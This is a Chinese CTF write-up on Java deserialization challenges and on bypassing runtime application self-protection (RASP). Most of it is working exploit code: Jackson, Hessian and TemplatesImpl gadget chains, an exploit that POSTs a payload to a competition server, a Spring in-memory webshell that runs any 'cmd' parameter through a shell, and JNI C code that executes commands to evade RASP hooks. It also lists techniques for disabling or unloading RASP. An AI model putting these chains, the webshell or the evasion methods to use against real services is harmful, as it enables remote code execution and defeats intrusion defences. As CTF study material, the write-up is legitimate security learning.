提及rasp的java题
“提及“ rasp的java题
SCTF2023 hellojava
出题人说不想堆难度,于是把黑名单和不出网和rasp都去掉了
由于没做过这题,直接看多个人题解,我差点以为这是两道题,预期和非预期的exp完全不同
由于什么都不会,所以接下来会分析的比较细致
开始
@JsonCreator
public MyBean(@JsonProperty("Base64Code") String Base64Code, @JacksonInject Boolean IfInput) {
this.Base64Code = Base64Code;
this.IfInput = IfInput;
}
了解这三个注解
@JsonCreator
加在构造函数上面用于反序列化
@JsonProperty
指定Json数据中该属性的键名
//上面这个例子为例,即使变量名不叫Base64Code,序列化后该值的键名一定是Base64Code
@JacksonInject
有该注解的属性它的值不能从Json中获取
try {
MyBean user = (MyBean)mapper.readValue(Base64.decode(BaseJson), MyBean.class);
System.out.println(user);
if (user.getIfInput()) {
InputStream inputStream = new ByteArrayInputStream(java.util.Base64.getDecoder().decode(param));
NoObjectInputStream NoInputStream = new NoObjectInputStream(inputStream);
Object obj = NoInputStream.readObject();
String HelloList = (new Hello()).DoSomething((LazyList)obj);
return HelloList;
}
我们要让IfInput反序列化回来的结果为true,但又不能赋值,这便是第一个考点
这与Jackson的处理逻辑相关
误解注解产生的漏洞 - kuron3k0的博客 | kuron3k0’s Blog
调用readValue后,进入到_deserializeUsingPropertyBased函数,这里循环处理我们的键值对,当前正在处理空键值,propName为空
根据propName会去_propertyLookup中取出对应的creator property,从名字也能看出来,这个就是我们之前的注解生成的,username和password都有对应同名字的键名,但是标注了@JacksonInject键名为空
随后调用_deserializeWithErrorWrapping反序列化得到对应的值,并赋值给buffer中的_creatorParameters
当处理完所有键值对后,取出_creatorParameters调用User的构造函数
调试可以发现,IfInput对应的键名为空,所以获取的是""
的值
给出答案,让IfInput的键名为空 即可给IfInput赋值
{"":true,"base64Code":"AAAAAAAA"}
当然这种 trick 也只适用于 creator 中只有一个 @JacksonInject
注解的,如果有多个注解,那么 ""
的索引位置只会是一个,一样会走到 _findMissing
后面虽然不同,但都是用scala-library
依赖的CVE-2022-36944
非预期解 (简单易理解,但是有问题,算了能解出来都是好方法)
题目本身的 security/blacklist.txt
是打包的资源文件,远程能打是因为出题人在官方 WP 中说到了远程环境其实没有黑名单和 rasp
大概思路 删除黑名单 ,然后直接Jackson反序列化
yarocher/lazylist-cve-poc: POC for the CVE-2022-36944 vulnerability exploit (github.com)
唉,打包又出问题了
mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="./security/blacklist.txt false"
得到的base64拿去反序列化,就能删除黑名单
Templates templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodeField = c.getDeclaredField("_bytecodes"); // bytecode 是个二维数组
bytecodeField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("target\\test-classes\\evil.class"));
byte[][] codes = { code };
bytecodeField.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(11);
setFiledValue(badAttributeValueExpException,"val",pojoNode);
serialize(badAttributeValueExpException);
预期解
为了安全起见,请阻止在“LazyList”反序列化期间执行“Function0” by lrytz ·拉取请求 #10118 ·scala/scala (github.com)
LazyList在readObject时会调用任意的Function0
但实际远程环境是 Function1。看了exp感觉跟 cve 关系不大 , 在 LazyList 中 map 加入一个函数,那么由于懒加载的特性,显然只会在真正访问的时候才能触发emmm,当 map 里填入箭头函数的时候,在最新版本 (2.13.11)也能够触发
public class MyFun {
public static Function1<Object, Object> myFun() {
return MyFun$.MODULE$.myFun();
}
public final class MyFun$ {
public static final MyFun$ MODULE$ = new MyFun$();
private static final Function1<Object, Object> myFun = (x) -> {
// .MODULE$.println(System.getProperty("user.dir"));
try {
(new Hello()).sayHello("list.txt");
}
通过myfun调用sayhello读取文件然后进行hessian反序列化,因为有一个路由是写文件的,内容可控
hessian还没学,后来出个新文章学习
直接看别人的思路
Object obj = NoInputStream.readObject();
String HelloList = (new Hello()).DoSomething((LazyList)obj);
|
\/
public String DoSomething(LazyList list) {
String HelloList = list.toString();
list.tail().head(); //触发LazyList的function
return "hello" + HelloList;
}
|
\/
private static final Function1<Object, Object> myFun = (x) -> {
try { (new Hello()).sayHello("list.txt");
|
\/
public void sayHello(String path) throws IOException, ClassNotFoundException {
... 读取文件的操作
byte[] decodedBytes = Base64.getDecoder().decode(sb.toString());
new Des(decodedBytes);
|
\/
public Des(byte[] decodedBytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(decodedBytes);
Hessian2Input input = new Hessian2Input(bais);
ClassNameResolver resolver = new ClassNameResolver();
NameBlackListFilter filter = new NameBlackListFilter(Blacklist.blacklist);
resolver.addFilter(filter);
input.getSerializerFactory().setClassNameResolver(resolver);
input.readObject();
}
hessian使用onlyJDK的思路
给出官方WP
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
public class test {
public static String Code()throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
JavaClass evil = Repository.lookupClass(Evil.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
setFieldValue(s,"attributes",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);
out.flushBuffer();
String base64Str = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64Str;
}
public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
JavaClass evil = Repository.lookupClass(Evil.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
setFieldValue(s,"attributes",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);
out.flushBuffer();
String base64Str = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(base64Str);
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Str));
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
成不了一点
NeepuCTF 2023 No Map
boogipop大佬说这道题的话假如出题人不去掉rasp的话他是出不来了
搞不懂,直接看吧
看依赖直接是jackson反序列化
private static final String[] blacklist = new String[]{"bsh", "clojure", "java.util", "javax.management", "java.rmi", "com.sun.jndi", "sun.rmi", "org.apache", "org.hibernate", "org.springframework", "com.mchange.v2.c3p0", "com.rometools.rome.feed.impl", "com.alibaba.fastjson", "java.net.URL", "java.lang.reflect.Proxy", "javax.xml.transform.Templates", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "org.apache.xalan.xsltc.trax.TemplatesImpl", "org.python.core", "com.mysql.jdbc", "org.jboss"};
java.util
相当于禁用HashMap
javax.management
禁用BadAttributeValueExpException
禁用了TemplatesImpl
使用二次反序列化绕过
要自己找一条从readObject到toString的链子
Boogipop只说经过查找,根本不会查找啊(呜呜呜)
另一边看别人用工具
都是我没有的东西
最终找到javax.swing.AbstractAction
分析
readObject -> putValue ->firePropertyChange
可以用Xstring的equals
writeObject
有个writeArrayTable
方法
序列化的时候执行ArrayTable.writeArrayTable(s, arrayTable);
导致我们写不进两个key相同value不同的ArrayTable
这里就需要我们重写writeArrayTable
方法
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassMap;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import sun.reflect.ReflectionFactory;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class TemplatesImplChain {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\InjectToController.class"));
byte[][] codes={code};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", codes);
setFieldValue(templatesImpl, "_name", "boogipop");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes2 = new POJONode(templatesImpl);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,jsonNodes2);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
XString xString = new XString("111");
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport("11");
StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("111",1);
Field field = Class.forName("javax.swing.AbstractAction").getDeclaredField("changeSupport");
field.setAccessible(true);
field.set(alignmentAction,swingPropertyChangeSupport);
alignmentAction.putValue("11",xString);
alignmentAction.putValue("12",jsonNodes);
//deserial(serial(alignmentAction));
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeUTF("NEEPU");
objectOutputStream.writeInt(1949);
objectOutputStream.writeObject(alignmentAction);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
//System.out.println(serial(exp));
//deserial(serial(map));
//doPOST(exp.toString().getBytes());
byte[] byt=new byte[fileInputStream.available()];
fileInputStream.read(byt);
doPOST(byt);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void doPOST(byte[] obj) throws Exception{
HttpHeaders requestHeaders = new HttpHeaders();
requestHeaders.set("Content-Type", "text/plain");
URI url = new URI("http://neepusec.fun:27010/nomap");
//URI url = new URI("http://localhost:8090/nomap");
//URI url = new URI("http://localhost:8080/bypassit");
HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeInt(1949);
oos.writeUTF("NEEPU");
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
System.out.println(ois.readInt());
System.out.println(ois.readUTF());
ois.readObject();
ois.close();
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
内存马
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
public class InjectToController extends AbstractTranslet {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException, InstantiationException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/Flag")
.options(config)
.build();
InjectToController springControllerMemShell = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}
}
给出Boogipop的exp
但只有这两个还不行,要重写writeArrayTable
,但大佬博客只有该方法的图,应该还是重写有问题,我是没有打通
怀疑运行时带有rasp,docker运行时修改CMD为java -jar noMap.jar
。。。。没有用
哈哈哈哈哈哈,我回来啦
因为这里的反射调用的是rt.jar包下的class文件,所以在本地重写类是不行滴,要把jar包里的ArrayTable
的class文件替换掉 (真的服了,而且调试的时候本地重写类被当作了源码,出现了牛头不对马嘴的情况)
但在题目中使用时会出现这样的报错
很明显是jackson链子不稳定问题 ,TemplatesImpl后面加上这部分即可
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes2 = new POJONode(proxyObj);
rasp
https://dummykitty.github.io/posts/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87-RASP
说了那么多,但其实上面两题根本不关他的事(出题人都去掉了),现在就来说说它是什么
RASP 全称为 Runtime Application Self-Protection
,实时程序自我保护。RASP 通常嵌入在程序内部,具备实时监控危险函数调用,并阻止该危险调用的功能。与传统 WAF 对比, RASP 实现更为底层,规则制定更为简单,攻击行为识别更为精准。
Java RASP 通常使用 java agent 技术实现,即作为jar包通过javaagent加载即可
java -javaagent:agent.jar -jar web.jar
其实已经有好几道题见到了他们各种rasp的包了
他们都是作为javaagent的参数加载的
实现方法如下
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.replace("/",".").equals(JndiManagerClassName)){
System.out.println("[Vaccine] Start Patch JndiManager Lookup Method!");
CtClass ctClass = null;
CtMethod ctMethod = null;
try{
// 初始化classPool
ClassPool classPool = new ClassPool();
classPool.appendSystemPath();
if (loader != null) {
classPool.appendClassPath(new LoaderClassPath(loader));
}
// 构造CtClass
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
// 获取lookup方法
for(CtMethod method:ctClass.getMethods()){
if(method.getName().equals(JndiManagerLookupMethodName)){
ctMethod = method;
break;
}
}
// 修改lookup方法
assert ctMethod != null;
//ctMethod.insertBefore("if(name.startsWith(\"ldap://\") || name.startsWith(\"rmi://\")){return null;}");
ctMethod.insertBefore("return null;");
// 返回字节码
System.out.println("[Vaccine] Patch JndiManager Lookup Success!");
return ctClass.toBytecode();
}catch (Exception e){
e.printStackTrace();
}finally {
if (ctClass != null) {
ctClass.detach();
}
}
}else{
return classfileBuffer;
}
return classfileBuffer;
}
使用 transform 方法对 org.apache.logging.log4j.core.net.JndiManager.lookup 方法进行运行时修改,使其提前返回 return null
.
绕过技巧
Boogipop大佬一句话概括绕过rasp的方法
通俗的说就是
创建一个native方法,
根据该方法生成c文件和h文件头以及dll文件,
利用这三个文件去调用c语言库中的函数执行系统函数。这样就可以绕过RASP HOOK的Runtime、Process等等东西。
根据 RASP 不同的实现,通常有两种方法绕过:
寻找没有被限制的类或者函数来绕过,也就是绕过黑名单
利用更底层的技术进行绕过,例如从 C 代码的层面进行绕过
更多请了解RASP的安全攻防研究实践 - admin-神风 - 博客园 (cnblogs.com)
- 破坏 RASP 的开关。OpenRASP 中存在一个 hook 开关,反射修改这个 hook 开关可关闭所有拦截。Jrasp 没有明显的开关可以去操控但作者也实现的类似的效果。
- 熔断开关。很多商业化的产品有类似的CPU熔断机制,如果 CPU 达到 90%,就自动关闭 Rasp 的拦截。因此可以通过发送一些大的数据包或者流量,造成 CPU 的压力来触发 RASP 的熔断开关
- 伪装恶意类。很多 RASP 产品是通过堆栈信息回溯的方式来判断命令执行的地方从哪里来,例如检测 behinder 时会判断堆栈是否包含net.rebeyond.behinder类开头的信息。作者给出了伪装类名的方法。
- 新建线程绕过。新建线程可以绕过堆栈检查,但无法绕过黑白名单。
- Bootstrap ClassLoader 加载绕过内存马检测。某些 RASP 在检测内存马时,通过判断当前类的 ClassLoader 是否存在对应的 .class 文件落地,使用Instrumentation.appendToBootstrapClassLoaderSearch 方法加载的 jar 包是以 Bootstrap ClassLoader 加载的,因此能够绕过检测。
- 通过 Unsafe 方式绕过。Unsafe.allocateInstance方法可以实例化一个对象而不调用它的构造方法,再去执行它的 Native 方法,从而绕过 Rasp 的检测。作者给出的示例中,通过直接执行 forkAndExec 的 Native 方法来执行命令。
- 通过 WindowsVirtualMachine 注入 ShellCode 加载。向自身进程植入并运行 ShellCode 绕过 RASP
- Java 跨平台任意 Native 代码执行。
- 弱引用 GC. 一种依托 WeakReference 弱引用的命令执行方式,有别于常规的命令执行,因此在某些场景下可以绕过。
- 高权限场景卸载 RASP。通过获取 tools.jar 的路径,调用里面的 JVM API 来卸载 RASP
绕过黑名单
MRCTF2022 springcoffee中的rasp,对java.lang.ProcessImpl.start
进行过滤
public class RaspTransformer implements ClassFileTransformer {
private Instrumentation inst;
private static String targetClassName = "java.lang.ProcessImpl";
private static String targetMethodName = "start";
public RaspTransformer(Instrumentation inst) {
this.inst = inst;
}
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.replace("/", ".").equals(targetClassName)) {
System.out.println("[Vaccine] Start Patch JndiManager Lookup Method!");
CtClass ctClass = null;
CtMethod ctMethod = null;
try {
ClassPool classPool = new ClassPool();
classPool.appendSystemPath();
if (loader != null) {
classPool.appendClassPath(new LoaderClassPath(loader));
}
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod[] var9 = ctClass.getMethods();
int var10 = var9.length;
for(int var11 = 0; var11 < var10; ++var11) {
CtMethod method = var9[var11];
if (method.getName().equals(targetMethodName)) {
ctMethod = method;
break;
}
}
assert ctMethod != null;
ctMethod.insertBefore("return null;");
System.out.println(String.format("Patch %s %s Success!", targetClassName, targetMethodName));
byte[] var18 = ctClass.toBytecode();
return var18;
} catch (Exception var16) {
var16.printStackTrace();
} finally {
if (ctClass != null) {
ctClass.detach();
}
}
return classfileBuffer;
} else {
return classfileBuffer;
}
}
exec
追溯一下会发现是调用ProcessImpl
的start
方法,封掉了之前常见的Runtime
,ProcessBuilder
java命令执行的方式中追溯到底层只有UNIXProcess
和ProcessImpl
,因此可以用UNIXProcess
进行绕过,最终调用forkAndExec
方法
JNI绕过RASP
Java 反序列化绕过 RASP | DummyKitty’s blog
package com.javasec;
public class Cmdclass {
public native String execCmd(String cmd);
}
javac .\Cmdclass.java
javac -cp . .\Cmdclass.java -h com.javasec.Cmdclass
(java8及以上的javac -h
会一并生成头文件)
版本较低时生成头文件用的是javah
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_javasec_Cmdclass */
#ifndef _Included_com_javasec_Cmdclass
#define _Included_com_javasec_Cmdclass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: com_javasec_Cmdclass
* Method: execCmd
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_com_javasec_Cmdclass_execCmd
(JNIEnv *, jobject, jstring);
#ifdef __cplusplus
}
#endif
#endif
根据这个.h
文件写一个c文件
#include "com_javasec_Cmdclass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int execCmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_com_javasec_Cmdclass_execCmd(JNIEnv *env, jobject class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execCmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
//linux
gcc -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so Cmdclass.c
//windows
gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o libcmd.dll Cmdclass.c
最后system.load()加载即可 ()
package com.javasec;
public class JNIDemo {
public static void main(String[] args) {
System.load("D:\ctf文件\maze\cmd.dll");
Cmdclass cmdclass = new Cmdclass();
String res = cmdclass.execCmd("whoami");
System.out.println(res);
}
}
保存一下题目成功的步骤 (不用看,这是我的)
package jackson;
public class Cmdclass{
public native String execCmd(String cmd);
}
javac .\Cmdclass.java
javac -cp . .\Cmdclass.java -h jackson.Cmdclass
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class jackson_Cmdclass */
#ifndef _Included_jackson_Cmdclass
#define _Included_jackson_Cmdclass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: jackson_Cmdclass
* Method: execCmd
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_jackson_Cmdclass_execCmd
(JNIEnv *, jobject, jstring);
#ifdef __cplusplus
}
#endif
#endif
参照头文件写恶意c文件,包含头文件
#include "jackson_Cmdclass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int execCmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_jackson_Cmdclass_execCmd(JNIEnv *env, jobject class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execCmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
